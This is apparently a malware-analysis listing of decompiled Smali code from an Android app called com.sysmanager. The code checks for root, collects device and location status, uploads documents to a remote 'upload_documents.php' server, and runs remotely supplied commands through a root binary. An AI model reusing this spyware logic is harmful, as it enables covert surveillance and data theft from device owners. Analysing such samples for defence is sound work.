  • /system/bin/
  • /system/xbin/
  • /data/local/xbin/
  • /data/local/bin/
  • /system/sd/xbin/
  • /system/bin/failsafe/
  • /su/bin/
  • /su/xbin/
  • /data/local/
Position Instruction Meta Information
0.param p0, "binaryName" # Ljava/lang/String;
1.prologue
2const/4 v2, 0x1
3const/4 v3, 0x0
4const/16 v4, 0xa
5new-array v0, v4, [Ljava/lang/String;
7const-string v4, "/sbin/"
8aput-object v4, v0, v3
10const-string v4, "/system/bin/"
11aput-object v4, v0, v2
12const/4 v4, 0x2
14const-string v5, "/system/xbin/"
15aput-object v5, v0, v4
16const/4 v4, 0x3
18const-string v5, "/data/local/xbin/"
19aput-object v5, v0, v4
20const/4 v4, 0x4
22const-string v5, "/data/local/bin/"
23aput-object v5, v0, v4
24const/4 v4, 0x5
26const-string v5, "/system/sd/xbin/"
27aput-object v5, v0, v4
28const/4 v4, 0x6
30const-string v5, "/system/bin/failsafe/"
31aput-object v5, v0, v4
32const/4 v4, 0x7
34const-string v5, "/su/bin/"
35aput-object v5, v0, v4
36const/16 v4, 0x8
38const-string v5, "/su/xbin/"
39aput-object v5, v0, v4
40const/16 v4, 0x9
42const-string v5, "/data/local/"
43aput-object v5, v0, v4
44array-length v5, v0
45move v4, v3
46goto_3a: if-ge v4, v5, :cond_5e
47aget-object v1, v0, v4
48new-instance v6, Ljava/io/File;
49new-instance v7, Ljava/lang/StringBuilder;
51invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
53invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
54move-result-object v7
56invoke-virtual {v7, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
57move-result-object v7
59invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
60move-result-object v7
62invoke-direct {v6, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
64invoke-virtual {v6}, Ljava/io/File;->exists()Z
65move-result v6
66if-eqz v6, :cond_5b
67goto_5a: return v2
68cond_5b: add-int/lit8 v4, v4, 0x1
69goto/16 :goto_3a
70cond_5e: move v2, v3
71goto/16 :goto_5a
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getSystemService
  • android.location.LocationManager.isProviderEnabled
  • org.json.JSONObject.put
  • android.location.LocationManager.isProviderEnabled
  • org.json.JSONObject.put
  • android.location.LocationManager.isProviderEnabled
  • org.json.JSONObject.put
Strings
  • location
  • gps
  • network
  • IsMaxLocationEnabled
  • net_gps
  • net
  • spento
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7const-string v1, "location"
9invoke-virtual {p0, v1}, Lcom/sysmanager/system/AndroidSystemCall;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
10move-result-object v0
11check-cast v0, Landroid/location/LocationManager;
13const-string v1, "gps"
15invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
16move-result v1
17if-eqz v1, :cond_22
19const-string v1, "network"
21invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
22move-result v1
23if-eqz v1, :cond_22
25iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
27const-string v2, "IsMaxLocationEnabled"
29const-string v3, "net_gps"
31invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
32goto_21: return-void
33cond_22:
34const-string v1, "gps"
36invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
37move-result v1
38if-eqz v1, :cond_34
40iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
42const-string v2, "IsMaxLocationEnabled"
44const-string v3, "gps"
46invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
47goto/16 :goto_21
48cond_34:
49const-string v1, "network"
51invoke-virtual {v0, v1}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
52move-result v1
53if-eqz v1, :cond_46
55iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
57const-string v2, "IsMaxLocationEnabled"
59const-string v3, "net"
61invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
62goto/16 :goto_21
63cond_46:
64iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
66const-string v2, "IsMaxLocationEnabled"
68const-string v3, "spento"
70invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
71goto/16 :goto_21
APIs
  • android.content.Intent.hasExtra
  • com.sysmanager.system.AndroidMDMSupport.stopSelf
  • android.content.Intent.getStringExtra
  • java.io.File.<init>
  • java.io.File.exists
  • com.sysmanager.system.AndroidMDMSupport.MdmWith
  • java.io.File.<init>
  • java.io.File.exists
  • com.sysmanager.system.AndroidMDMSupport.MdmWith
  • com.sysmanager.system.AndroidMDMSupport.getApplicationContext
  • com.sysmanager.system.AndroidMDMSupport.stopSelf
  • com.sysmanager.system.AndroidMDMSupport.MdmWith
Strings
  • comando
  • /system/xbin/ng
  • /su/bin/ng
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.param p2, "flags" # I
2.param p3, "startId" # I
3.prologue
4if-eqz p1, :cond_a
6const-string v2, "comando"
8invoke-virtual {p1, v2}, Landroid/content/Intent;->hasExtra(Ljava/lang/String;)Z
9move-result v2
10if-nez v2, :cond_f
11cond_a:
12invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->stopSelf()V
13const/4 v2, 0x2
14goto_e: return v2
15cond_f:
16const-string v2, "comando"
18invoke-virtual {p1, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
19move-result-object v0
20try_start_15: new-instance v2, Ljava/io/File;
22const-string v3, "/system/xbin/ng"
24invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
26invoke-virtual {v2}, Ljava/io/File;->exists()Z
27move-result v2
28if-eqz v2, :cond_29
30const-string v2, "/system/xbin/ng"
32invoke-virtual {p0, v0, v2}, Lcom/sysmanager/system/AndroidMDMSupport;->MdmWith(Ljava/lang/String;Ljava/lang/String;)V
33goto_27: const/4 v2, 0x1
34goto/16 :goto_e
35cond_29: new-instance v2, Ljava/io/File;
37const-string v3, "/su/bin/ng"
39invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
41invoke-virtual {v2}, Ljava/io/File;->exists()Z
42move-result v2
43if-eqz v2, :cond_4c
45const-string v2, "/su/bin/ng"
47invoke-virtual {p0, v0, v2}, Lcom/sysmanager/system/AndroidMDMSupport;->MdmWith(Ljava/lang/String;Ljava/lang/String;)V
48try_end_3b: goto/16 :goto_27
49catch_3c: move-exception v1
51invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->getApplicationContext()Landroid/content/Context;
52move-result-object v2
54invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
55move-result-object v3
57invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
59invoke-virtual {p0}, Lcom/sysmanager/system/AndroidMDMSupport;->stopSelf()V
60goto/16 :goto_27
61cond_4c:
62const-string v2, ""
64invoke-virtual {p0, v0, v2}, Lcom/sysmanager/system/AndroidMDMSupport;->MdmWith(Ljava/lang/String;Ljava/lang/String;)V
65try_end_51: goto/16 :goto_27
Cross References
APIs
  • java.lang.String.startsWith
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.startsWith
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • http://url.plus/app/pro/req_server_key.php
  • -----BEGIN CERTIFICATE-----
  • col22
  • req_server_key.php
  • col23
Position Instruction Meta Information
0.param p0, "isGw" # Z
1.param p1, "context" # Landroid/content/Context;
2.prologue
3const/4 v1, 0x1
4const/4 v2, 0x0
5if-eqz p0, :cond_1e
7const-string v3, "http://url.plus/app/pro/req_server_key.php"
9invoke-static {v3}, Lcom/sysmanager/network/HTTPUtility;->requestAESKeyToServer(Ljava/lang/String;)Ljava/lang/String;
10move-result-object v0
12const-string v3, "-----BEGIN CERTIFICATE-----"
14invoke-virtual {v0, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
15move-result v3
16if-eqz v3, :cond_1c
18invoke-static {p1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
19move-result-object v2
21const-string v3, "col22"
23invoke-virtual {v2, v3, v0}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
24goto_1b: return v1
25cond_1c: move v1, v2
26goto/16 :goto_1b
27cond_1e: new-instance v3, Ljava/lang/StringBuilder;
29invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
31invoke-static {p1}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
32move-result-object v4
34invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v3
37const-string v4, "req_server_key.php"
39invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v3
42invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
43move-result-object v3
45invoke-static {v3}, Lcom/sysmanager/network/HTTPUtility;->requestAESKeyToServerDest(Ljava/lang/String;)Ljava/lang/String;
46move-result-object v0
48const-string v3, "-----BEGIN CERTIFICATE-----"
50invoke-virtual {v0, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
51move-result v3
52if-eqz v3, :cond_4b
54invoke-static {p1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
55move-result-object v2
57const-string v3, "col23"
59invoke-virtual {v2, v3, v0}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
60goto/16 :goto_1b
61cond_4b: move v1, v2
62goto/16 :goto_1b
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getSystemService
  • android.app.admin.DevicePolicyManager.getActiveAdmins
  • java.util.List.size
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.content.ComponentName.getPackageName
  • com.sysmanager.system.AndroidSystemCall.getPackageName
  • java.lang.String.equals
  • org.json.JSONObject.put
Strings
  • device_policy
  • IsDeviceAdmin
  • true
  • false
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7const-string v3, "device_policy"
9invoke-virtual {p0, v3}, Lcom/sysmanager/system/AndroidSystemCall;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
10move-result-object v2
11check-cast v2, Landroid/app/admin/DevicePolicyManager;
12if-eqz v2, :cond_3e
14invoke-virtual {v2}, Landroid/app/admin/DevicePolicyManager;->getActiveAdmins()Ljava/util/List;
15move-result-object v1
16if-eqz v1, :cond_3e
18invoke-interface {v1}, Ljava/util/List;->size()I
19move-result v3
20if-lez v3, :cond_3e
22invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
23move-result-object v3
24cond_1a:
25invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
26move-result v4
27if-eqz v4, :cond_3e
29invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
30move-result-object v0
31check-cast v0, Landroid/content/ComponentName;
33invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
34move-result-object v4
36invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getPackageName()Ljava/lang/String;
37move-result-object v5
39invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
40move-result v4
41if-eqz v4, :cond_1a
43iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
45const-string v4, "IsDeviceAdmin"
47const-string v5, "true"
49invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
50goto_3d: return-void
51cond_3e:
52iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
54const-string v4, "IsDeviceAdmin"
56const-string v5, "false"
58invoke-virtual {v3, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
59goto/16 :goto_3d
Cross References
APIs
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
  • java.lang.String.isEmpty
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deletePath
  • java.lang.String.isEmpty
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deletePath
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.insertDocuments
  • com.sysmanager.system.AndroidFileManager.getApplicationContext
Strings
  • A70
  • upload_documents.php
Position Instruction Meta Information
0.param p1, "filenames" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/InterruptedException;
4}
5.end annotation
6.prologue
7const/4 v8, 0x0
9invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
10move-result-object v0
12invoke-static {v0}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
13move-result-object v3
15invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
16move-result v0
17if-nez v0, :cond_3e
18try_start_f:
19iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->mOutputDir:Ljava/io/File;
21const-string v2, "A70"
23const-string v4, "upload_documents.php"
25const-string v5, ""
27invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
28move-result-object v6
29move-object v1, p1
31invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
32move-result v0
33iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->done:Z
34iget-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->done:Z
35if-eqz v0, :cond_3f
37iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
38if-eqz v0, :cond_3b
40iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
42invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
43move-result v0
44if-nez v0, :cond_3b
46invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
47move-result-object v0
49iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
51invoke-virtual {v0, v1}, Lcom/sysmanager/storage/FileSend;->deletePath(Ljava/lang/String;)Z
52cond_3b: const/4 v0, 0x0
53iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
54cond_3e: return-void
55cond_3f:
56iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
57if-eqz v0, :cond_5d
59iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
61invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
62move-result v0
63if-nez v0, :cond_5d
65invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
66move-result-object v0
68iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
70invoke-virtual {v0, v1}, Lcom/sysmanager/storage/FileSend;->deletePath(Ljava/lang/String;)Z
72invoke-static {p0}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
73move-result-object v0
75iget-object v1, p0, Lcom/sysmanager/system/AndroidFileManager;->path:Ljava/lang/String;
77invoke-virtual {v0, v1}, Lcom/sysmanager/storage/FileSend;->insertDocuments(Ljava/lang/String;)J
78cond_5d: const/4 v0, 0x0
79iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
80try_end_60: goto/16 :goto_3e
81catch_61: move-exception v7
83invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->getApplicationContext()Landroid/content/Context;
84move-result-object v0
86invoke-static {v7}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
87move-result-object v1
89invoke-static {v0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
90iput-boolean v8, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
91goto/16 :goto_3e
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • android.content.Context.getSystemService
  • android.hardware.SensorManager.getSensorList
  • java.util.ArrayList.<init>
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.hardware.Sensor.getName
  • java.util.ArrayList.add
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • org.json.JSONObject.put
Strings
  • sensor
  • SensorsList
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
8move-result-object v5
10const-string v6, "sensor"
12invoke-virtual {v5, v6}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
13move-result-object v1
14check-cast v1, Landroid/hardware/SensorManager;
15if-eqz v1, :cond_45
16const/4 v5, -0x1
17try_start_f:
18invoke-virtual {v1, v5}, Landroid/hardware/SensorManager;->getSensorList(I)Ljava/util/List;
19move-result-object v2
20new-instance v4, Ljava/util/ArrayList;
22invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
24invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
25move-result-object v5
26goto_1c:
27invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
28move-result v6
29if-eqz v6, :cond_3d
31invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
32move-result-object v3
33check-cast v3, Landroid/hardware/Sensor;
35invoke-virtual {v3}, Landroid/hardware/Sensor;->getName()Ljava/lang/String;
36move-result-object v6
38invoke-virtual {v4, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
39try_end_2f: goto/16 :goto_1c
40catch_30: move-exception v0
42invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
43move-result-object v5
45invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
46move-result-object v6
48invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
49goto_3c: return-void
50try_start_3d:
51iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
53const-string v6, "SensorsList"
55invoke-virtual {v5, v6, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
56goto/16 :goto_3c
57cond_45:
58iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
60const-string v6, "SensorsList"
62const-string v7, ""
64invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
65try_end_4e: goto/16 :goto_3c
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • android.content.Intent.<init>
  • android.content.Context.startService
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
Strings
  • col20
  • wifion
  • A70
  • wifi3gon
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "allow3g" # Z
2.param p2, "sendFeedback" # Z
3.prologue
4if-nez p1, :cond_34
5try_start_2:
6invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
7move-result-object v1
9const-string v2, "col20"
10const/4 v3, 0x0
12invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
13if-eqz p2, :cond_15
15const-string v1, "wifion"
17const-string v2, "A70"
19invoke-static {v1, p0, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
20cond_15: new-instance v1, Landroid/content/Intent;
21const-class v2, Lcom/sysmanager/system/AndroidFileManager;
23invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
25invoke-virtual {p0, v1}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
26new-instance v1, Landroid/content/Intent;
27const-class v2, Lcom/sysmanager/system/AndroidFileManager;
29invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
31invoke-virtual {p0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
32new-instance v1, Landroid/content/Intent;
33const-class v2, Lcom/sysmanager/system/AndroidAlarmManager;
35invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
37invoke-virtual {p0, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
38goto_33: return-void
39cond_34:
40invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
41move-result-object v1
43const-string v2, "col20"
44const/4 v3, 0x1
46invoke-virtual {v1, v2, v3}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
47if-eqz p2, :cond_15
49const-string v1, "wifi3gon"
51const-string v2, "A70"
53invoke-static {v1, p0, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
54try_end_47: goto/16 :goto_15
55catch_48: move-exception v0
57invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
58move-result-object v1
60invoke-static {p0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
61goto/16 :goto_33
APIs
  • android.os.Messenger.<init>
  • com.sysmanager.system.AccessibilityService.access$002
  • android.os.Message.obtain
  • android.os.Bundle.<init>
  • com.sysmanager.system.AccessibilityService.access$100
  • android.os.Bundle.putString
  • android.os.Message.setData
  • com.sysmanager.system.AccessibilityService.access$000
  • android.os.Messenger.send
  • com.sysmanager.system.AccessibilityService.access$200
  • com.sysmanager.system.AccessibilityService.unbindService
  • com.sysmanager.system.AccessibilityService.access$002
  • com.sysmanager.Scontext.getContext
Strings
  • msg_bundle
Position Instruction Meta Information
0.param p1, "name" # Landroid/content/ComponentName;
1.param p2, "service" # Landroid/os/IBinder;
2.prologue
3const/4 v6, 0x0
4const/4 v5, 0x0
6iget-object v3, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
7new-instance v4, Landroid/os/Messenger;
9invoke-direct {v4, p2}, Landroid/os/Messenger;-><init>(Landroid/os/IBinder;)V
11invoke-static {v3, v4}, Lcom/sysmanager/system/AccessibilityService;->access$002(Lcom/sysmanager/system/AccessibilityService;Landroid/os/Messenger;)Landroid/os/Messenger;
12const/4 v3, 0x1
14invoke-static {v6, v3, v5, v5}, Landroid/os/Message;->obtain(Landroid/os/Handler;III)Landroid/os/Message;
15move-result-object v2
16new-instance v0, Landroid/os/Bundle;
18invoke-direct {v0}, Landroid/os/Bundle;-><init>()V
20const-string v3, "msg_bundle"
22iget-object v4, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
24invoke-static {v4}, Lcom/sysmanager/system/AccessibilityService;->access$100(Lcom/sysmanager/system/AccessibilityService;)Ljava/lang/String;
25move-result-object v4
27invoke-virtual {v0, v3, v4}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
29invoke-virtual {v2, v0}, Landroid/os/Message;->setData(Landroid/os/Bundle;)V
30try_start_24:
31iget-object v3, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
33invoke-static {v3}, Lcom/sysmanager/system/AccessibilityService;->access$000(Lcom/sysmanager/system/AccessibilityService;)Landroid/os/Messenger;
34move-result-object v3
36invoke-virtual {v3, v2}, Landroid/os/Messenger;->send(Landroid/os/Message;)V
37try_end_2d:
38iget-object v3, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
40iget-object v4, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
42invoke-static {v4}, Lcom/sysmanager/system/AccessibilityService;->access$200(Lcom/sysmanager/system/AccessibilityService;)Landroid/content/ServiceConnection;
43move-result-object v4
45invoke-virtual {v3, v4}, Lcom/sysmanager/system/AccessibilityService;->unbindService(Landroid/content/ServiceConnection;)V
47iget-object v3, p0, Lcom/sysmanager/system/AccessibilityService$1;->this$0:Lcom/sysmanager/system/AccessibilityService;
49invoke-static {v3, v6}, Lcom/sysmanager/system/AccessibilityService;->access$002(Lcom/sysmanager/system/AccessibilityService;Landroid/os/Messenger;)Landroid/os/Messenger;
50return-void
51catch_3e: move-exception v1
53invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
54move-result-object v3
56invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
57move-result-object v4
59invoke-static {v3, v4}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
60goto/16 :goto_2d
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
  • android.content.Context.getSystemService
  • android.view.accessibility.AccessibilityManager.getEnabledAccessibilityServiceList
  • java.util.List.size
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • android.accessibilityservice.AccessibilityServiceInfo.toString
  • com.sysmanager.system.AndroidSystemCall.getPackageName
  • java.lang.String.contains
  • org.json.JSONObject.put
Strings
  • accessibility
  • IsAccessibility
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
7invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
8move-result-object v3
10const-string v4, "accessibility"
12invoke-virtual {v3, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
13move-result-object v0
14check-cast v0, Landroid/view/accessibility/AccessibilityManager;
15const/4 v3, -0x1
17invoke-virtual {v0, v3}, Landroid/view/accessibility/AccessibilityManager;->getEnabledAccessibilityServiceList(I)Ljava/util/List;
18move-result-object v1
19if-eqz v1, :cond_40
21invoke-interface {v1}, Ljava/util/List;->size()I
22move-result v3
23if-lez v3, :cond_40
25invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
26move-result-object v3
27cond_1d:
28invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
29move-result v4
30if-eqz v4, :cond_40
32invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
33move-result-object v2
34check-cast v2, Landroid/accessibilityservice/AccessibilityServiceInfo;
36invoke-virtual {v2}, Landroid/accessibilityservice/AccessibilityServiceInfo;->toString()Ljava/lang/String;
37move-result-object v4
39invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getPackageName()Ljava/lang/String;
40move-result-object v5
42invoke-virtual {v4, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
43move-result v4
44if-eqz v4, :cond_1d
46iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
48const-string v4, "IsAccessibility"
49const/4 v5, 0x1
